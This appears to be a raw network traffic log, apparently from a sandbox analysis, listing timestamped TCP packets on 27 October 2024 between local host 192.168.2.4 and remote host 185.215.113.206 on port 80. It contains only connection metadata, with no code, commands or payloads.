Oct 27, 2024 12:13:27.134741068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.134746075 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.134769917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.134790897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.134804010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.134809017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.134836912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.134843111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.134886026 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.174696922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.174732924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.174762011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.174782038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.174797058 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.174860001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.176212072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.176244974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.176279068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.176306009 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.176342010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.247783899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.247860909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.247896910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.247961998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.247994900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.247994900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.247997046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.248023987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.248032093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.248049974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.248083115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.248116016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.248133898 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.248148918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.248164892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.248195887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.248199940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.248235941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.248248100 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.248265982 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.248282909 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.248300076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.248313904 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.248333931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.248347998 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.248372078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.248382092 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.248406887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.248418093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.248440027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.248452902 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.248473883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.248486996 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.248507023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.248522043 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.248547077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.248555899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.248577118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.248588085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.248610973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.248631954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.248645067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.248675108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.248683929 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.248694897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.248728991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.248744965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.248763084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.248775005 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.248796940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.248811960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.248830080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.248842001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.248864889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.248877048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.248898983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.248912096 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.248934984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.248945951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.248969078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.248986006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.249005079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.249018908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.249038935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.249053001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.249073029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.249087095 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.249105930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.249125004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.249140024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.249151945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.249175072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.249187946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.249208927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.249217987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.249243021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.249258041 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.249278069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.249289989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.249311924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.249325037 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.249346018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.249360085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.249399900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.249403954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.249418020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.249445915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.249470949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.249475002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.249510050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.249519110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.249522924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.249550104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.249557972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.249571085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.249589920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.249623060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.249638081 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.249655962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.249671936 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.249690056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.249706984 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.249723911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.249742985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.249768972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.249778032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.249794006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.249828100 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.249871016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.249903917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.249919891 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.249938965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.249953985 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.249973059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.249986887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.250006914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.250021935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.250040054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.250053883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.250077963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.250088930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.250093937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.250119925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.250128031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.250142097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.250174999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.250186920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.250209093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.250222921 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.250241995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.250257015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.250277996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.250291109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.250307083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.250329971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.250356913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.250358105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.250411987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.250422001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.250447035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.250461102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.250482082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.250492096 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.250516891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.250529051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.250608921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.250622034 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.250643969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.250657082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.250679016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.250691891 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.250715017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.250725985 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.250747919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.250765085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.250792027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.250796080 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.250842094 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.250906944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.250941038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.250966072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.250973940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.250978947 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.251008034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.251019955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.251041889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.251056910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.251075983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.251091957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.251110077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.251125097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.251142979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.251158953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.251178980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.251194000 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.251213074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.251226902 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.251247883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.251262903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.251281977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.251296997 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.251327991 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.251336098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.251370907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.251384974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.251410007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.251418114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.251450062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.251460075 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.251483917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.251498938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.251518965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.251533031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.251554012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.251568079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.251589060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.251614094 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.251622915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.251635075 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.251671076 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.251883984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.251934052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.251935005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.251969099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.251991034 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.252001047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.252021074 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.252034903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.252048969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.252068043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.252084970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.252103090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.252120972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.252135038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.252146006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.252168894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.252183914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.252202988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.252217054 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.252235889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.252254963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.252269030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.252279997 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.252302885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.252317905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.252336979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.252351046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.252372026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.252386093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.252408981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.252424002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.252441883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.252461910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.252490044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.291088104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.291105032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.291152954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.291318893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.292190075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.292244911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.292244911 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.292279959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.292293072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.292329073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.293785095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.293833971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.293855906 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.293868065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.293904066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.365417004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.365473986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.365504026 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.365508080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.365537882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.365570068 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.365596056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.365624905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.365648985 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.365658045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.365680933 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.365705013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.365710974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.365744114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.365756989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.365778923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.365791082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.365823984 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.365830898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.365864038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.365873098 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.365910053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.365912914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.365946054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.365959883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.365979910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.366002083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.366019011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.366029978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.366063118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.366076946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.366097927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.366126060 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.366131067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.366152048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.366167068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.366180897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.366213083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.366216898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.366254091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.366269112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.366318941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.366332054 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.366353989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.366364956 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.366403103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.366408110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.366444111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.366456032 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.366477966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.366491079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.366511106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.366529942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.366553068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.366574049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.366585016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.366601944 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.366617918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.366636038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.366684914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.366684914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.366719961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.366736889 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.366749048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.366775990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.366782904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.366790056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.366832972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.366866112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.366869926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.366893053 CET	49730	80	192.168.2.4	185.215.113.206
